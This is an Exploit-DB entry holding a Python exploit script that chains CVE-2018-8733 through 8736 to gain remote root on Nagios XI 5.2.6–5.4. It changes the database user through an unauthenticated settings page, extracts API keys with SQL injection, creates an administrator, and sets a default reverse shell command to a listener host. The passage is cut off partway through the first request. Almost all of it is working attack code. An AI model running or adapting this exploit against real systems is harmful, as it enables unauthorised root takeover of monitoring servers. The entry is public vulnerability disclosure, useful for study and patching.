Exploit-DB #44560
Description: Nagios XI 5.2.6 < 5.2.9 / 5.3 / 5.4 - Chained Remote Root
Type: webapps
Platform: php
Date: 2018-04-30
Author: Jared Arave

Exploit:
# Exploit Title: Nagios XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
# Date: 4/17/2018
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.nagios.com/
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4
# Tested on: CentOS 6.7
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736

import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
import re
from optparse import OptionParser

# Print some helpful words:
print """
###############################################################################
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
This exploit leverages the vulnerabilities enumerated in these CVES:
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]

More details here:
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html

Steps are as follows:

0. Determine Version
1. Change the database user to root:nagiosxi
2. Get an API key w/ SQLi
3. Use the API Key to add an administrative user
4. Login as that administrative user
5. Do some authenticated RCE w/ privesc
6. Cleanup.
###############################################################################
"""
# TODO: Figure out what port it's running on, 80 or 443.

def parse_apikeys(resp):
  begin_delim = 'START_API:'
  end_delim   = ':END_API'

  start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]
  end_indecies = [m.start() for m in re.finditer(end_delim, resp)]

  unique_keys = []

  for i, index in enumerate(start_indecies):
    start_index = index + len(begin_delim)
    end_index = end_indecies[i]
    key = resp[start_index:end_index]
    if not key in unique_keys:
      unique_keys.append(key)

  return unique_keys

def parse_nsp_str(resp):
    begin_delim = 'var nsp_str = "'
    end_delim = '";\n'

    start_index = resp.find(begin_delim) + len(begin_delim)
    resp = resp[start_index:]
    end_index = resp.find(end_delim)

    return resp[:end_index]

def parse_cmd_id(resp, cmdname):

    begin_delim = "'"
    end_delim = "', '{0}')\"><img src='images/cross.png' alt='Delete'>".format(cmdname)

    end_idx = resp.find(end_delim)

    resp = resp[:end_idx]
    resp = resp[resp.rfind(begin_delim)+1:]

    return resp

def parse_nagiosxi(resp):
    resp = str(resp)
    begin_delim = 'Set-Cookie: nagiosxi='
    end_delim = ';'

  # find the last instance of the nagiosxi cookie...
    start_index = resp.rfind(begin_delim) + len(begin_delim)
    resp = resp[start_index:]
    end_index = resp.find(end_delim)

    return resp[:end_index]

def parse_version(resp):
    resp = str(resp)
    begin_delim = 'name="version" value="'
    end_delim = '"'

    start_index = resp.rfind(begin_delim) + len(begin_delim)
    resp = resp[start_index:]
    end_index = resp.find(end_delim)

    return resp[:end_index]
def change_db_user(usr, pwd, step):

    url = '/nagiosql/admin/settings.php'
    headers = {'Host' : RHOST,
               'Content-Type' : 'application/x-www-form-urlencoded'}

    params = urllib.urlencode({
    'txtRootPath':'nagiosql',
    'txtBasePath':'/var/www/html/nagiosql/',
    'selProtocol':'http',
    'txtTempdir':'/tmp',
    'selLanguage':'en_GB',
    'txtEncoding':'utf-8',
    'txtDBserver':'localhost',
    'txtDBport':3306,
    'txtDBname':'nagiosql',
    'txtDBuser': usr,
    'txtDBpass':pwd,
    'txtLogoff':3600,
    'txtLines':15,
    'selSeldisable':1
    })

    print "[+] STEP {0}: Setting Nagios QL DB user to {1}.".format(step, usr)
    print "[+] STEP {0}: http://{1}{2}".format(step, RHOST, url)

    con = httplib.HTTPConnection(RHOST, 80)
    con.set_debuglevel(0)
    con.request("POST", url, params, headers=headers)

    resp = con.getresponse()
    con.close()

    return resp

# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
            ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
        "       %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
          help="Target Nagios XI host")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
                  help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
                  help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
          help="Run a custom command, no reverse shell for you.")

(options, args) = parser.parse_args()

if not options.rhost:
    parser.error("[!] No remote host specified.\n")
    parser.print_help()
    sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
    cmd = options.cmd
else:
    cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)

################################################################
# REQUEST ZERO: GET NAGIOS VERSION
################################################################

url0 = '/nagiosxi/login.php'
headers0 = {'Host' : RHOST,
            'Content-Type' : 'application/x-www-form-urlencoded'}

print "[+] STEP 0: Get Nagios XI version string."
print "[+] STEP 0: http://{0}{1}".format(RHOST, url0)

con0 = httplib.HTTPConnection(RHOST, 80)
con0.set_debuglevel(0)
con0.request("POST", url0, headers=headers0)
r0 = con0.getresponse()

r0_resp = r0.read()
version = parse_version(r0_resp)
ver_int = int(version.split('.')[1])

con0.close()
print "[+] STEP 0: